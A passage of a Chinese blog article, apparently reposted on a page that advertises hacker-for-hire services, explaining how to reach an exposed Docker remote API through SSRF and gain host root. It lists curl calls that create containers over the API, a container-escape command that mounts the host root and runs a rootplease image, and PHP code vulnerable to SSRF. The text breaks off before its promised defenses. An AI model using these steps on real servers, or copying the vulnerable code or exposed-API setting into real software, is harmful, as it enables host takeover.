经过SSRF缝隙进犯Docker长途API获取服务器Root权限

经过SSRF缝隙进犯Docker长途API获取服务器Root权限这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来...

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来完结提权等一系列的操作?查找了各种材料之后,终究笔者探究到了一条经过SSRF缝隙来进犯Docker长途API,然后取得长途主机的root权限的进犯思路,经过这篇文章来共享一下整个进程及其防备的办法。
1. Docker长途API介绍
Docker长途API是Docker团队为了便运用户长途管理Docker而供给的一套API接口。在默许的情况下,Docker Daemon运转于Unix Socket上,一般为unix:///var/run/docker.sock。
当需求长途管理Docker服务器或许是创立Docker集群时,或许需求敞开Docker的长途API。在Ubuntu上的一种敞开办法如下:
修正/lib/systemd/system/docker.service文件,修正ExecStart一行:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
之后再重启docker:
sudo service docker restart
然后就能够运用Docker客户端或许恣意http客户端拜访Docker服务,例如:

能够看到Docker供给的API实质上是一个RSTful方式的http接口,详细的文档能够从Docker的官网获取:Engine API V1.24。
这儿列出几个重要的接口:
列出一切的容器:
$ curl http:/localhost:4243/v1.24/containers/json
列出一切镜像:
$ curl http:/localhost:4243/v1.24/images/json[{
  "Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
  "ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
  ...
}]
创立并运转容器:
$ curl  -H "Content-Type: application/json"
  -d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}'
  -X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}
$ curl   -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start
http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}
$ curl  "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world
到了这儿,咱们能够看到假如开放了Docker长途API,咱们便能够运用RESTful接口来完结一系列Docker容器操作。
2. 运用docker容器提权
有些朋友或许会问了:Docker容器内部是一个与主机阻隔的虚拟化环境,怎样才能运用Docker容器获取主机操控权?这儿就涉及到Docker运转时的用户权限了。Docker Daemon运转时是以root用户运转,因此具有极高的权限:
$ ps aux|grep dockerd
root      1723  0.1  0.8 563472 68900 ?        Ssl  17:17   0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image    25504  0.0  0.0  15984   936 pts/3    S+   21:12   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd
那么怎样经过Docker Daemon终究取得服务器的root权限?这儿咱们能够运用Docker挂载宿主机文件的功用,直接挂载高权限目录,然后在容器内部获取宿主机的操控权限。
这儿有一个黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
运转后的输出如下:

退出Docker,检查宿主机/root/目录:

咱们能够看到成功在/root文件夹写入了一个文件。
上面那条指令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease首要的作用是:从 Docker Hub上面下载咱们指定的镜像,然后运转。参数 -v 将容器外部的目录/挂载到容器内部 /hostOS,而且运用-i和-t 参数进入容器的shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,首要内容就是chroot到/hostOS中。这样咱们便经过读写宿主机的恣意文件完结了获取宿主机的最高权限。这个镜像的源码能够在 Github上获取。
3. 经过SSRF完结进犯
这儿咱们的服务器端环境如下:

在PHP中经常出现,导致SSRF缝隙的代码完结:
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

[1] [2] [3]  黑客接单网

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/10077.html

(0)

相关推荐

  • 烟雨江湖雷峰塔奖励 烟雨江湖雷峰塔支线任务攻略

    禹岩江湖雷峰塔悬赏,禹岩江湖雷峰塔支线攻略由创意网提供,主要帮助你更好的雇佣战场! 雷峰塔任攻略 1.一是去雷峰塔打听全了,从商贩那里买玉瓶;沈去三楼偷瓶,然后换了一楼买的假玉瓶,...

    2022年9月8日
  • 母亲祈祷女儿考研考660分 画面曝光!太搞笑了

    【母亲祈祷女儿考研考660分】女儿又喊妈,妈妈还是让她别说话!女儿说,360分就能上岸。妈妈忙对神像说,错了错了!前两次作废,最后一次了!女儿被妈的样子逗的憋不住,说到,我就学了三...

    2022年2月22日
  • 尤物是什么意思,2是什么意思

    尤物是什么意思,2是什么意思这句话出自《左传》。这里的“尤物”指的是美貌的女人,“移人”是指改变人的性情、性格。这句话大致意思是面容姣好的女子,可以改变一个人的精神状态。这主要提现人外在的面容、气色,对他人内在的精神状态

    攻略 2021年11月18日
  • 天龙八部手游那个门派不要乔峰指点,天龙八部手游不需要乔峰的门派

    天龙八部手游什么门派不需要乔峰? 峨眉不吃乔峰,用呆鸡替队友抗伤害。天山不吃乔峰,不过天山适合近战。慕容不吃乔峰,乔峰指点没紫色伤害,天龙吃乔峰毕竟可以刷新一套技能。唐门也不吃乔峰...

    阅读 2022年7月10日
  • 生源地填什么,生源地就是户口所在地吗

    生源地填什么,生源地就是户口所在地吗 每年举行的公务员招考,各省对户籍这一栏的设置比较严格,给准备参加公考的考生带来一些困扰,或无缘参加公务员考试。今天,老杨对多个省份的历年招录政策进行了研究,特整理出户籍相关数据给

    攻略 2021年10月29日
  • 怎样推广自己的产品、如果有好的产品,该怎么营销推广

    怎样推广自己的产品怎样推广自己的产品、如果有好的产品,该怎么营销推广一、怎么才能快速地推广自己的产品?
    我也想知道这个问题的答案。在朋友圈发信息,上淘宝,做公众号,现在抖音快手什么的直播,今日头条也行吧。每天都发布广告做

    生活 2021年10月30日